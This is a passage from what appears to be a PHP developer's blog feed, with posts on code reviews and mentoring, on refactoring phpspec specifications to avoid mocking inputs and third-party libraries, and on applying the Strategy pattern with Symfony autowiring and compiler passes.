<li>does the code meet the standards?</li>
</ul>

<p>The purpose of Code Reviews isn't to nitpick or force what you'd have done
instead, but to help your co-worker:</p>

<ul>
<li>spot errors early</li>
<li>spread the knowledge across the team</li>
<li>have an opportunity for both of you to learn and improve</li>
</ul>

<p>There are two kinds of feedback that can be left:</p>

<ul>
<li>change request, which need to happen in order for the Pull Request to be
accepted (something is broken)</li>
<li>suggestions that can optionally be taken into account,</li>
</ul>

<p>Once the feedback from the first round has been taken into account, other
rounds of Code Reviews can be done, but to get the feature deployed as early
as possible it's important to focus these on identifying broken things and
fixing them (rather than making more suggestions for improvements).</p>

<p>Finally, when the Pull Request is accepted, it can be merged and sent to QA.</p>

<h2 id="mentoring">Mentoring</h2>

<p>As a Lead Developer, one of my responsibility is the mentoring of team members.</p>

<p>One aspect of this was the preparation and delivery of training (Symfony, Git,
Test Driven Development), but I'd also give (and encourage others to give) some
presentations or lightning talks on different topics (libraries, practices,
etc).</p>

<p>But one of my favourite tool was Pair Programming, which proved quite efficient
when on boarding the junior developer. These would be short sessions, rather
than whole days spent together, and we'd follow a strict Driver-Navigator rule
(ie the one with keyboard only writes what they agree to, while the other one
explains the vision) with regular switching at first, and then on task as we
became more synchronised.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Don&#039;t mock what you don&#039;t own -- phpspec isn&#039;t a test framework]]></title>
            <link href="/2024/09/11/don-t-mock-what-you-don-t-own.html"/>
            <updated>2024-09-11T00:00:00+01:00</updated>
            <id>/2024/09/11/don-t-mock-what-you-don-t-own.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p>TL;DR: phpspec isn't a test framework. It's a code designing/modeling tool.</p>
</blockquote>

<h2 id="something-feels-wrong">Something feels wrong</h2>

<p>Looking at some 2014 code of mine, I found the following test:</p>

<pre><code class="php">&lt;?php

namespace spec\Memio\SpecGen\CodeEditor;

use Gnugat\Redaktilo;
use Memio\Model;
use Memio\PrettyPrinter\PrettyPrinter;
use Memio\SpecGen\CodeEditor\InsertConstructor;
use Memio\SpecGen\CodeEditor\InsertConstructorHandler;
use Memio\SpecGen\CommandBus\CommandHandler;
use PhpSpec\ObjectBehavior;

class InsertConstructorHandlerSpec extends ObjectBehavior
{
    function let(
        Redaktilo\Editor $redaktiloEditor,
        PrettyPrinter $prettyPrinter,
    ) {
        $this-&gt;beConstructedWith($redaktiloEditor, $prettyPrinter);
    }

    function it_inserts_constructor_in_class_that_has_constants_and_methods(
        Redaktilo\Editor $redaktiloEditor,
        Redaktilo\File $redaktiloFile,
        Model\Method $modelMethod,
        PrettyPrinter $prettyPrinter,
    ) {
        $insertConstructor = new InsertConstructor($redaktiloFile-&gt;getWrappedObject(), $modelMethod-&gt;getWrappedObject());

        $generatedCode =&lt;&lt;&lt;'GENERATED_CODE'
                public function __construct(Dependency $dependency, string $redaktiloFilename)
                {
                    $this-&gt;dependency = $dependency;
                    $this-&gt;filename = $redaktiloFilename;    
                }
            GENERATED_CODE
        ;

        $redaktiloEditor-&gt;hasBelow($redaktiloFile, InsertConstructorHandler::CONSTRUCTOR, 0)-&gt;willReturn(false);
        $redaktiloEditor-&gt;hasBelow($redaktiloFile, InsertConstructorHandler::METHOD, 0)-&gt;willReturn(true);
        $redaktiloEditor-&gt;jumpBelow($redaktiloFile, InsertConstructorHandler::METHOD, 0)-&gt;shouldBeCalled();
        $redaktiloEditor-&gt;insertAbove($redaktiloFile, '')-&gt;shouldBeCalled();
        $prettyPrinter-&gt;generateCode($modelMethod)-&gt;willReturn($generatedCode);
        $redaktiloEditor-&gt;insertAbove($redaktiloFile, $generatedCode)-&gt;shouldBeCalled();
        $redaktiloFile-&gt;decrementCurrentLineNumber(1)-&gt;shouldBeCalled();
        $redaktiloFile-&gt;getLine()-&gt;willReturn('    const CONSTANT = 42;');
        $redaktiloEditor-&gt;insertBelow($redaktiloFile, '')-&gt;shouldBeCalled();

        $this-&gt;handle($insertConstructor);
    }
}
</code></pre>

<p>There are some things that feel wrong there, like the calls to
<code>getWrappedObject()</code>, and when something feels wrong with phpspec, it usually
means that this thing is wrong.</p>

<h2 id="don%27t-mock-sut-inputs">Don't mock SUT inputs</h2>

<p>As per the previous advice, <a href="https://gnugat.github.io/2024/08/19/phpspec-tip-don-t-mock-sut-inputs.html">don't mock SUT inputs</a>,
I've removed the inputs mock and their awkward <code>getWrappedObject()</code> calls
and instead set up the inputs:</p>

<pre><code class="php">    function it_inserts_constructor_in_class_that_has_constants_and_methods(
        Redaktilo\Editor $redaktiloEditor,
        PrettyPrinter $prettyPrinter,
    ) {
        $redaktiloFile = Redaktilo\File::fromString(&lt;&lt;&lt;'FILE'
            &lt;?php 

            namespace Vendor\Project;

            class MyClass
            { 
                const CONSTANT = 42;

                public function existingMethod()
                {
                }
            } 
            FILE
        );
        $modelMethod = (new Model\Method('__construct'))
            -&gt;addArgument(new Model\Argument('Vendor\Project\Dependency', 'dependency'))
            -&gt;addArgument(new Model\Argument('string', 'filename'))
        ;                      
        $insertConstructor = new InsertConstructor($redaktiloFile, $modelMethod);

        $generatedCode =&lt;&lt;&lt;'GENERATED_CODE'
                public function __construct(Dependency $dependency, string $redaktiloFilename)
                {
                    $this-&gt;dependency = $dependency;
                    $this-&gt;filename = $redaktiloFilename;    
                }
            GENERATED_CODE
        ;

        $redaktiloEditor-&gt;hasBelow($redaktiloFile, InsertConstructorHandler::CONSTRUCTOR, 0)-&gt;willReturn(false);
        $redaktiloEditor-&gt;hasBelow($redaktiloFile, InsertConstructorHandler::METHOD, 0)-&gt;willReturn(true);
        $redaktiloEditor-&gt;jumpBelow($redaktiloFile, InsertConstructorHandler::METHOD, 0)-&gt;shouldBeCalled();
        $redaktiloEditor-&gt;insertAbove($redaktiloFile, '')-&gt;shouldBeCalled();
        $prettyPrinter-&gt;generateCode($modelMethod)-&gt;willReturn($generatedCode);
        $redaktiloEditor-&gt;insertAbove($redaktiloFile, $generatedCode)-&gt;shouldBeCalled();
        $redaktiloEditor-&gt;insertBelow($redaktiloFile, '')-&gt;shouldBeCalled();

        $this-&gt;handle($insertConstructor);
    }
</code></pre>

<h2 id="something-still-feels-wrong">Something still feels wrong</h2>

<p>Now pay attention to the two following lines we've removed:</p>

<pre><code class="php">        $redaktiloFile-&gt;decrementCurrentLineNumber(1)-&gt;shouldBeCalled();
        $redaktiloFile-&gt;getLine()-&gt;willReturn('    const CONSTANT = 42;');
</code></pre>

<p>After running the tests, I get an error:</p>

<blockquote>
  <p>Exception <code>Gnugat\Redaktilo\Exception\InvalidLineNumberException("The line number should be positive")</code> has been thrown.</p>
</blockquote>

<p>When the Redaktilo File is first instantiated in our test method, it is
initialised with a "current line number" set to <code>0</code>. Since Redaktilo's Editor
is mocked, it doesn't update the file's "current line number" as it would in
a real situation. Our SUT, <code>InsertConstructorHandler</code>, however calls directly
<code>decrementCurrentLineNumber</code> on the file, which ends up trying to set
"current line number" to <code>-1</code>, hence the exception.</p>

<p>To make the test pass, we could add a call to Redaktilo's File
<code>setCurrentLineNumber()</code>, for example:</p>

<pre><code class="php">        $redaktiloEditor-&gt;hasBelow($redaktiloFile, InsertConstructorHandler::CONSTRUCTOR, 0)-&gt;willReturn(false);
        $redaktiloEditor-&gt;hasBelow($redaktiloFile, InsertConstructorHandler::METHOD, 0)-&gt;willReturn(true);
        $redaktiloEditor-&gt;jumpBelow($redaktiloFile, InsertConstructorHandler::METHOD, 0)-&gt;shouldBeCalled();
        $redaktiloFile-&gt;setCurrentLineNumber(11);
        $redaktiloEditor-&gt;insertAbove($redaktiloFile, '')-&gt;shouldBeCalled();
        $prettyPrinter-&gt;generateCode($modelMethod)-&gt;willReturn($generatedCode);
        $redaktiloEditor-&gt;insertAbove($redaktiloFile, $generatedCode)-&gt;shouldBeCalled();
        $redaktiloEditor-&gt;insertBelow($redaktiloFile, '')-&gt;shouldBeCalled();
</code></pre>

<p>But this feels wrong, and when something feels wrong with phpspec, it usually
means that this thing is wrong. But what?</p>

<h2 id="don%27t-mock-what-you-don%27t-own">Don't mock what you don't own</h2>

<p>Let's take a step back and look at the test again.
What are we trying to achieve here?</p>

<p>It is a test method, written with phpspec, that checks assertions on the
implementation details of the class under test <code>InsertConstructorHandler</code>,
by setting up mocks for the Redaktilo library.</p>

<p>2014 me would think that's perfectly reasonable, and would probably struggle
to identify the issue. But 2024 me can tell straight away from the above
paragraph what the issue is.</p>

<p>I've actually always had some issue understanding the advice
"don't mock what you don't own".
How do we really define what we own, and what we don't?</p>

<ul>
<li>do I own a third party library I've installed in my application (eg Guzzle as a HTTP client to do curl requests)?</li>
<li>do I own a "third party" library, that I've actually developed and then installed in my application (eg Redaktilo)?</li>
<li>do I own abstractions I've built on top of these libraries?</li>
<li>do I own the framework I've installed (eg Symfony, and its components like Form)?</li>
<li>do I own the RAD controllers (ie are they part of my application, or of the framework)?</li>
<li>do I own my own implementations of extension points (eg custom EventListeners)?</li>
<li>do I own business code in the application that was initially designed for other part of the system (ie from another Bounded Context)?</li>
<li>do I own code in the application that I haven't written?</li>
</ul>

<p>The answer to these questions probably depends on the context, but here in
<code>InsertConstructorHandler</code>, it certainly feels like Redaktilo, a third party
library (which I've developed), is "something that I don't own" and therefore
shouldn't be mocked.</p>

<p>Now that we have identified the problem, how do we fix it?</p>

<h2 id="behaviour-driven-development%2C-it%27s-all-words">Behaviour Driven Development, it's all words</h2>

<p>Let's re-read the first paragraph of the previous section, and more specifically:</p>

<blockquote>
  <p>It is a test method, <strong>written with phpspec</strong>, that checks assertions on the
  implementation details of the class under test <code>InsertConstructorHandler</code>,
  by setting up mocks for the Redaktilo library.</p>
</blockquote>

<p>And when reading the test method, we get a lot of "has below" and "jump below"
and "insert above". This is all implementation detail. And this is all
Redaktilo's (clunky) language.</p>

<p><strong><em>Our test method is a one to one translation of the</em> implementation details</strong>.</p>

<p>phpspec is a specBDD framework. One of the core of Behaviour Driven Development
is to drop the "unit testing" terminology and use a slightly different
vocabulary instead:</p>

<ul>
<li>instead of the verb "to test", use "to specify"</li>
<li>instead of "unit", use "behaviour"</li>
<li>instead of "test method", use "example"</li>
<li>instead of "assertion", use "expectation"</li>
<li>instead of "mock", use "collaborator"</li>
<li>and why not switch the words "class under test" for "use case"</li>
</ul>

<blockquote>
  <p>See Liz Keogh. 2009. <a href="https://lizkeogh.com/2009/11/06/translating-tdd-to-bdd/">Translating TDD to BDD</a></p>
</blockquote>

<p>This might not seem like much, or very useful,
but in reality the language used is key to changing our perspective.</p>

<p>To be able to have an example that checks expectations on a specific use case,
we first need to define the behaviour we want to describe in plain English:</p>

<blockquote>
  <p>If the class doesn't already have a constructor
  But it has an existing method,
  As well as potentially a constant, or property definition
  Then the generated code for the new constructor
  Should be inserted above the existing method, separated by an empty line
  And it should also be under the constant and property definitions, also separated by an empty line</p>
</blockquote>

<p>We then try our best to translate that into code. To use the exact same vocabulary.
This cannot be done by mocking Redaktilo, which has its own vocabulary.</p>

<p>So we have to extract the Redaktilo implementation details and hide them in
classes that have descriptive names which are relevant to our use case.</p>

<p>Creating a new abstraction layer, essentially.</p>

<p>Here's our new and improved "example":</p>

<pre><code class="php">    function it_inserts_constructor_above_methods_but_under_constants_and_properties(
        DoesClassAlreadyHaveConstructor $doesClassAlreadyHaveConstructor,
        DoesClassAlreadyHaveMethods $doesClassAlreadyHaveMethod,
        PrettyPrinter $prettyPrinter,
        InsertGeneratedConstructorAboveExistingMethods $insertGeneratedConstructorAboveExistingMethods,
    ) {
        $inFile = Redaktilo\File::fromString(&lt;&lt;&lt;'FILE'
            &lt;?php 

            namespace Vendor\Project;

            class MyClass
            { 
                const CONSTANT = 42;

                public function existingMethod()
                {
                }
            } 
            FILE
        );
        $modelConstructor = (new Model\Method('__construct'))
            -&gt;addArgument(new Model\Argument('Vendor\Project\Dependency', 'dependency'))
            -&gt;addArgument(new Model\Argument('string', 'filename'))
        ;                      
        $insertConstructor = new InsertConstructor($inFile, $modelConstructor);

        $generatedConstructor =&lt;&lt;&lt;'GENERATED_CODE'
                public function __construct(Dependency $dependency, string $redaktiloFilename)
                {
                    $this-&gt;dependency = $dependency;
                    $this-&gt;filename = $redaktiloFilename;    
                }
            GENERATED_CODE
        ;

        $doesClassAlreadyHaveConstructor-&gt;check($inFile)-&gt;withReturn(false);

        $doesClassAlreadyHaveMethod-&gt;check($inFile)-&gt;withReturn(true);
        $prettyPrinter-&gt;generateCode($modelMethod)-&gt;willReturn($generatedConstructor);
        $insertGeneratedConstructorAboveExistingMethods-&gt;insert($generatedConstructor, $inFile)-&gt;shouldBeCalled();

        $this-&gt;handle($insertConstructor);
    }
</code></pre>

<p>It no longer has <code>Redaktilo\Editor</code>.</p>

<p>It now has:</p>

<ul>
<li><code>DoesClassAlreadyHaveConstructor-&gt;check(Redaktilo\File $inFile): bool</code>

<ul>
<li>it will call <code>$this-&gt;redaktiloEditor-&gt;hasBelow($inFile, InsertConstructorHandler::CONSTRUCTOR, 0)</code>;</li>
</ul></li>
<li><code>DoesClassAlreadyHaveMethods-&gt;check(Redaktilo\File $inFile): bool</code>

<ul>
<li>it will call <code>$this-&gt;redaktiloEditor-&gt;hasBelow($inFile, InsertConstructorHandler::METHOD, 0);</code></li>
</ul></li>
<li><code>InsertGeneratedConstructorAboveExistingMethods-&gt;insert(string $generatedConstructor, Redaktilo\File $inFile): void</code>

<ul>
<li>it will call:</li>
<li><code>$this-&gt;redaktiloEditor-&gt;jumpBelow($inFile, InsertConstructorHandler::METHOD, 0);</code></li>
<li><code>$this-&gt;redaktiloEditor-&gt;insertAbove($inFile, '');</code></li>
<li><code>$this-&gt;redaktiloEditor-&gt;insertAbove($inFile, $generatedCode);</code></li>
<li><code>$this-&gt;redaktiloEditor-&gt;insertBelow($inFile, '');</code></li>
</ul></li>
</ul>

<p>And it still has:</p>

<ul>
<li><code>Model\Method</code>, this is one of the inputs of our use case, it seems fine as is</li>
<li><code>Redaktilo\File</code>, though the variable has been renamed to <code>$inFile</code></li>
<li><code>PrettyPrinter</code>, as far as I can tell, this collaborator still describes the behaviour we want</li>
</ul>

<h2 id="it%27s-all-about-trade-offs">It's all about trade offs</h2>

<p>I've also taken the liberty to rename a couple of things, to make the intent
more explicit:</p>

<ul>
<li><code>$redaktiloFile</code> becomes <code>$inFile</code>, I've taken a liking to having code read
like sentences (insert generated code in file)</li>
<li><code>it_inserts_constructor_in_class_that_has_constants_and_methods</code> becomes
<code>it_inserts_constructor_above_methods_but_under_constants_and_properties</code>,
as I think that describes the use case a bit better (though in the
implementation, we end up not caring about constants and properties, as
we generate the constructor above methods, which we expect to be below
constants and properties)</li>
</ul>

<p>But there are more changes that have been introduced as a result of this new
abstraction layer. On the positive side, we got:</p>

<ul>
<li>more readable code -- and by that I mean more explicit intent</li>
<li>decoupling our "business logic" from "code we don't own"
(ie third party library, or "implementation details")</li>
</ul>

<p>On the negative side:</p>

<ul>
<li>we have introduced an abstraction layer</li>
<li>we'll have to introduce new classes to specify the other scenarios
(<code>InsertGeneratedConstructorAtTheEndOfTheClass</code>
when there are no methods in the class)</li>
</ul>

<p>While there is value in the code at the beginning of this article, as it worked
just fine as it was, I personally value the new version more, even with the
drawbacks they bring.</p>

<p>Having an executable specification that results in a code that explicitly
describes its intent is, in my humble opinion, quite a worthy improvement
indeed.</p>

<blockquote>
  <p><strong>Note</strong>: also, while the initial version of the code "worked", it did come
  with its own drawbacks. It takes some time to understand what the code does
  (the "jump above and below" mumbo jumbo isn't very helpful), and it was
  coupled to a third party library, meaning tying us to its upgrade policy
  and making us subject to its backward incompatible changes.</p>
</blockquote>

<h2 id="phpspec-isn%27t-a-test-framework">phpspec isn't a test framework</h2>

<p>phpspec is highly opinionated, has very intentional "limitations", and has this
knack of making you feel like something is wrong -- when you're indeed doing
something you shouldn't be doing.</p>

<p>It's not a testing framework, no, it's a designing / modeling tool.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[phpspec tip: don&#039;t mock SUT inputs]]></title>
            <link href="/2024/08/19/phpspec-tip-don-t-mock-sut-inputs.html"/>
            <updated>2024-08-19T00:00:00+01:00</updated>
            <id>/2024/08/19/phpspec-tip-don-t-mock-sut-inputs.html</id>
            <content type="html"><![CDATA[<p>Looking at some old code of mine, I've found the following test:</p>

<pre><code class="php">&lt;?php

namespace spec\Memio\SpecGen\GenerateMethod;

use Memio\Model\File;
use Memio\Model\Method;
use Memio\Model\Objekt;
use Memio\SpecGen\GenerateMethod\GeneratedMethod;
use PhpSpec\Console\ConsoleIO;
use PhpSpec\ObjectBehavior;

class LogGeneratedMethodListenerSpec extends ObjectBehavior
{   
    function let(ConsoleIO $io)
    {
        $this-&gt;beConstructedWith($io);
    }

    function it_logs_the_generated_method(ConsoleIO $io, File $file, Method $method, Objekt $object)
    {
        $className = 'Vendor\Project\MyClass';
        $methodName = 'myMethod';
        $generatedMethod = new GeneratedMethod($file-&gt;getWrappedObject());
        $file-&gt;getStructure()-&gt;willReturn($object);
        $object-&gt;getName()-&gt;willReturn($className);
        $object-&gt;allMethods()-&gt;willReturn([$method]);
        $method-&gt;getName()-&gt;willReturn($methodName);

        $io-&gt;write(&lt;&lt;&lt;OUTPUT

  &lt;info&gt;Generated &lt;value&gt;{$className}#{$methodName}&lt;/value&gt;&lt;/info&gt;

 OUTPUT
        )-&gt;shouldBeCalled();

        $this-&gt;onGeneratedMethod($generatedMethod);
    }
}
</code></pre>

<p>And while reading it, one of the things that caught my attention was
<strong>the setting up of mocks for SUT inputs</strong>
(SUT means System Under Test, the class we're testing).</p>

<p>The purpose of this test is to specify how <code>LogGeneratedMethodListener</code> should
behave, through its interactions with the <code>ConsoleIO</code> collaborator.</p>

<p>But here, it's also specifying how <code>LogGeneratedMethodListener</code> interacts
with the input parameter <code>GeneratedMethod</code>.</p>

<p><code>GeneratedMethod</code> encapsulates data relevant to the process of generating the
code for a Method. It doesn't have any critical behaviour:
we just call getters on it.</p>

<p>So my advice to you (me, from the past), would be to not bother creating Mocks
for it:</p>

<pre><code class="php">&lt;?php

namespace spec\Memio\SpecGen\GenerateMethod;

use Memio\Model\File;
use Memio\Model\Method;
use Memio\Model\Objekt;
use Memio\SpecGen\GenerateMethod\GeneratedMethod;
use PhpSpec\Console\ConsoleIO;
use PhpSpec\ObjectBehavior;

class LogGeneratedMethodListenerSpec extends ObjectBehavior
{   
    function let(ConsoleIO $io)
    {
        $this-&gt;beConstructedWith($io);
    }

    function it_logs_the_generated_method(ConsoleIO $io)
    {
        $className = 'Vendor\Project\MyClass';
        $methodName = 'myMethod';
        $generatedMethod = new GeneratedMethod((new File('src/MyClass.php'))
            -&gt;setStructure((new Objekt($className))
                -&gt;addMethod(new Method($methodName))
            )
        );

        $io-&gt;write(&lt;&lt;&lt;OUTPUT

  &lt;info&gt;Generated &lt;value&gt;{$className}#{$methodName}&lt;/value&gt;&lt;/info&gt;

 OUTPUT
        )-&gt;shouldBeCalled();

        $this-&gt;onGeneratedMethod($generatedMethod);
    }
}
</code></pre>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Strategy Pattern, Symfony and autowiring]]></title>
            <link href="/2024/08/16/strategy-pattern-symfony-autowiring.html"/>
            <updated>2024-08-16T00:00:00+01:00</updated>
            <id>/2024/08/16/strategy-pattern-symfony-autowiring.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Since Symfony 5.3</p>
  
  <p>Tag the "Strategy" Interface with the attribute <code>[#AutoconfigureTag]</code>:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\DependencyInjection\Attribute\AutoconfigureTag;

#[AutoconfigureTag]
interface Strategy
{
    // Add your Strategy methods below, for example
    // (please use a more descriptive name than "algorithm"...):
    public function algorithm();

    // *IF* your Strategies need to be executed in a specific order,
    // then add a method that returns the priority (highest priority first, lowest priority last)
    // Note: it MUST be static
    public static function getDefaultPriority(): int;

    // *IF* your Strategies are executed conditionally,
    // then add a "predicate" method (eg named `supports()`):
    public function predicate($input): bool
}
</code></pre>
  
  <p>Inject the <code>iterable</code> that contains all tagged "Strategy" implementations
  in the "Context"'s constructor with the attribute <code>#[TaggedIterator(&lt;tag&gt;)]</code>:</p>

<pre><code class="php">&lt;?php

class Context
{
    public function __construct(
        // *IF* your Strategies need to be executed in a specific order,
        // then use the `defaultPriorityMethod` parameter and set it with the Strategy's static method name
        #[TaggedIterator(Strategy::class, defaultPriorityMethod: 'getDefaultPriority')]
        private iterable $strategies,
    ) {
    }

    public function operation($input)
    {
        foreach ($this-&gt;strategies() as $strategy) {
            // *IF* your Strategies need to be executed conditionally,
            // then add a if statement that verifies the Strategy's predicate method
            if ($strategy-&gt;predicate($input)) {
                $strategy-&gt;algorithm();

                // *IF* you only want the first matching Strategy to be executed,
                // then break the loop here
                break;
            }
        }
    }
}
</code></pre>
  
  <p>Set <code>autowire</code> and <code>autoconfigure</code> parameters to be <code>true</code> in the DIC configuration:</p>

<pre><code class="yaml">services:
    _defaults:
        autowire: true
        autoconfigure: true
</code></pre>
</blockquote>

<p>The Strategy Pattern can be really useful when you want to avoid multiple
conditionals, and/or when you want to add new repetitive chunks of logic
in a maintainable way.</p>

<p>Let's see how to use it in a Symfony application, and how autowiring can help
us configure it.</p>

<p>Note that the code snippets below will NOT be truncated, they'll always contain
the full code (so no things like <code>// rest of the class below</code> comments).</p>

<h2 id="use-case-example">Use Case Example</h2>

<p>Some classes are just bound to contain repeated chunks of similar logic:</p>

<pre><code class="php">&lt;?php

class EmailDailyReports
{
    public function __construct(
        private BuildSpreadsheet $buildSpreadsheet,
        private Mailer $mailer,
        private WriteSpreadsheet $writeSpreadsheet,
        private RetrieveDataForReportOne $retrieveDataForReportOne,
        private RetrieveDataForReportTwo $retrieveDataForReportTwo,
    ) {
    }

    public function send(\DateTime $startDate, \DateTime $endDate): void
    {
        $reportOneData = $this-&gt;retrieveDataForReportOne-&gt;fromDatabase($startDate, $endDate);
        $reportOneName = 'Report One';
        $reportOneSpreadsheet = $this-&gt;buildSpreadsheet-&gt;using($reportOneData, $reportOneName);
        $reportOneFilename = $this-&gt;writeSpreadsheet-&gt;save($reportOneSpreadsheet);

        $reportTwoData = $this-&gt;retrieveDataForReportTwo-&gt;fromDatabase($startDate, $endDate);
        $reportTwoName = 'Report Two';
        $reportTwoSpreadsheet = $this-&gt;buildSpreadsheet-&gt;using($reportTwoData, $reportTwoName);
        $reportTwoFilename = $this-&gt;writeSpreadsheet-&gt;save($reportTwoSpreadsheet);

        $email = (new Email())
            -&gt;from('sender@example.com')
            -&gt;to('recipient@example.com')
            -&gt;attachFromPath($reportOneFilename, $reportOneName, 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet')
            -&gt;attachFromPath($reportTwoFilename, $reportTwoName, 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet')
            -&gt;subject('Daily Reports')
            -&gt;text('Find reports in attached files');
        $this-&gt;mailer-&gt;send($email);
    }
}
</code></pre>

<p>This <code>EmailDailyReports</code> class builds spreadsheets and sends emails for reports.</p>

<p>The retrieval of the data for each report is delegated to a dedicated service.</p>

<p>This is fine as is, with currently only 2 reports to manage...
But what if we need to add 1 more report? 2 more reports? 30 more reports?</p>

<h2 id="strategy-pattern">Strategy Pattern</h2>

<p>This use case is the perfect candidate for the Strategy Pattern.</p>

<p><code>EmailDailyReports</code> would be considered the "Context" class,
and the services that retrieve the report data would be the "Strategies".</p>

<p>Let's refactor <code>EmailDailyReports</code> to implement this design pattern.</p>

<p>First we create a Strategy interface:</p>

<pre><code class="php">&lt;?php

interface RetrieveDataForReport
{
    public function fromDatabase(\DateTime $startDate, \DateTime $endDate): array;
    public function getName(): string;
}
</code></pre>

<p>Then we make sure the Strategy implementations both implement it
(<code>RetrieveDataForReportOne</code> and <code>RetrieveDataForReportTwo</code>).</p>

<p>Finally we refactor the Context class to be injected with a collection of
Strategies, and iterate through them:</p>

<pre><code class="php">&lt;?php

class EmailDailyReports
{
    public function __construct(
        private BuildSpreadsheet $buildSpreadsheet,
        private Mailer $mailer,
        private WriteSpreadsheet $writeSpreadsheet,
    ) {
    }

    public function send(\DateTime $startDate, \DateTime $endDate): void
    {
        $email = (new Email())
            -&gt;from('sender@example.com')
            -&gt;to('recipient@example.com')
            -&gt;subject('Daily Reports')
            -&gt;text('Find reports in attached files');

        foreach ($this-&gt;retrieveDataForReports as $retrieveDataForReport) {
            $reportData = $retrieveDataForReport-&gt;fromDatabase($startDate, $endDate);
            $reportName = $retrieveDataForReport-&gt;getReportName();
            $reportSpreadsheet = $this-&gt;buildSpreadsheet-&gt;using($reportData, $reportName);
            $reportFilename = $this-&gt;writeSpreadsheet-&gt;save($reportSpreadsheet);

            $email-&gt;attachFromPath($reportFilename, $reportName, 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
        }

        $this-&gt;mailer-&gt;send($email);
    }

    private array $retrieveDataForReports = [];

    public function register(RetrieveDataForReport $retrieveDataForReport): void
    {
        $this-&gt;retrieveDataForReports[] = $retrieveDataForReport;
    }
}
</code></pre>

<p>If the order in which the reports are built is important,
then we need to add a bit of extra logic:</p>

<pre><code class="php">&lt;?php

class EmailDailyReports
{
    public function __construct(
        private BuildSpreadsheet $buildSpreadsheet,
        private Mailer $mailer,
        private WriteSpreadsheet $writeSpreadsheet,
    ) {
    }

    public function send(\DateTime $startDate, \DateTime $endDate): void
    {
        $email = (new Email())
            -&gt;from('sender@example.com')
            -&gt;to('recipient@example.com')
            -&gt;subject('Daily Reports')
            -&gt;text('Find reports in attached files');

        foreach ($this-&gt;getSortedRetrieveDataForReports() as $retrieveDataForReport) {
            $reportData = $retrieveDataForReport-&gt;fromDatabase($startDate, $endDate);
            $reportName = $retrieveDataForReport-&gt;getReportName();
            $reportSpreadsheet = $this-&gt;buildSpreadsheet-&gt;using($reportData, $reportName);
            $reportFilename = $this-&gt;writeSpreadsheet-&gt;save($reportSpreadsheet);

            $email-&gt;attachFromPath($reportFilename, $reportName, 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
        }

        $this-&gt;mailer-&gt;send($email);
    }

    private const int DEFAULT_PRIORITY = 100;
    private const array NOT_SORTED = [];

    private array $unsortedRetrieveDataForReports = [];
    private array $sortedRetrieveDataForReports = self::NOT_SORTED;

    public function register(
        RetrieveDataForReport $retrieveDataForReport,
        int $priority = self::DEFAULT_PRIORITY,
    ): void {
        $this-&gt;unsortedRetrieveDataForReports[$priority][] = $retrieveDataForReport;
        $this-&gt;sortedRetrieveDataForReports = self::NOT_SORTED;
    }

    private function getSortedRetrieveDataForReports(): void
    {
        if (self::NOT_SORTED === $this-&gt;sortedRetrieveDataForReports)) {
            // Strategies with higher priority need to be executed before the ones with lower priority
            krsort($this-&gt;unsortedRetrieveDataForReports);

            // Flattens strategies by removing the "priority" dimension from the array
            $this-&gt;sortedRetrieveDataForReports = array_merge(...$this-&gt;unsortedRetrieveDataForReports);
        }

        return $this-&gt;sortedRetrieveDataForReports;
    }
}
</code></pre>

<p>Have you heard of the Symfony component EventDispatcher?
While it is a well known implementation of the Observer design pattern,
the way the EventListeners (strategies) are registered and executed in the
EventDispatcher (context) is very similar to this.</p>

<h2 id="configuring-di-in-symfony---yaml">Configuring DI in Symfony - YAML</h2>

<p>Speaking of Symfony, how would we configure the Dependency Injection Container
for this service? First, let's write the YAML configuration:</p>

<pre><code class="yaml">services:
    'EmailDailyReports':
        arguments:
            - '@BuildSpreadsheet'
            - '@Mailer'
            - '@WriteSpreadsheet'
        calls:
            - register:
                - '@RetrieveDataForReportOne'
                - 200
            - register:
                - '@RetrieveDataForReportTwo'
                - 100

    'BuildSpreadsheet': ~
    'Mailer': ~
    'WriteSpreadsheet': ~
    'RetrieveDataForReportOne': ~
    'RetrieveDataForReportTwo': ~
</code></pre>

<p>Note that we need to write the priorities here in the <code>EmailDailyReports</code>
service definition. The <code>calls</code> section is fine for now, as we only have two
Strategies.</p>

<p>But what if we need to add 1 more report? 2 more reports? 30 more reports?</p>

<h2 id="configuring-di-in-symfony---compiler-passes">Configuring DI in Symfony - Compiler Passes</h2>

<p>The entire <code>calls</code> section can be removed from the configuration,
by creating a CompilerPass:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Reference;

class RegisterRetrieveDataForReportsCompilerPass implements CompilerPassInterface
{ 
    public function process(ContainerBuilder $container): void
    {
        // Get Context service definition
        $emailDailyReports = $container-&gt;findDefinition(EmailDailyReports::class);

        // Get iterable of all the Strategy service definitions (they'll be tagged with the Strategy interface FQCN)
        $retrieveDataForReports = $container-&gt;findTaggedServiceIds(RetrieveDataForReport::class);

        foreach ($retrieveDataForReports as $id =&gt; $tags) {
            // In theory you can tag a service many times with the same tag,
            // but in our case here, there'll only be one tag
            foreach ($tags as $retrieveDataForReport) {
                // call the Setter Injection on the Context service definition
                $emailDailyReports-&gt;addMethodCall('register', [
                    new Reference($id),             
                    $retrieveDataForReport['priority'] ?? EmailDailyReports::DEFAULT_PRIORITY,
                ]);            
            }
        }
    }
}
</code></pre>

<p>Also, make sure to register the CompilerPass in the Bundle:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\HttpKernel\Bundle\Bundle;

class MyBundle extends Bundle
{ 
    public function build(ContainerBuilder $container): void
    {
        parent::build($container);      

        $container-&gt;addCompilerPass(new RegisterRetrieveDataForReportsCompilerPass());
    }
}
</code></pre>

<p>Note that now the priorities need to be defined in the tags of the
RetrieveDataForReport service definitions:</p>

<pre><code class="yaml">services:
    'EmailDailyReports':
        arguments:
            - '@BuildSpreadsheet'
            - '@Mailer'
            - '@WriteSpreadsheet'

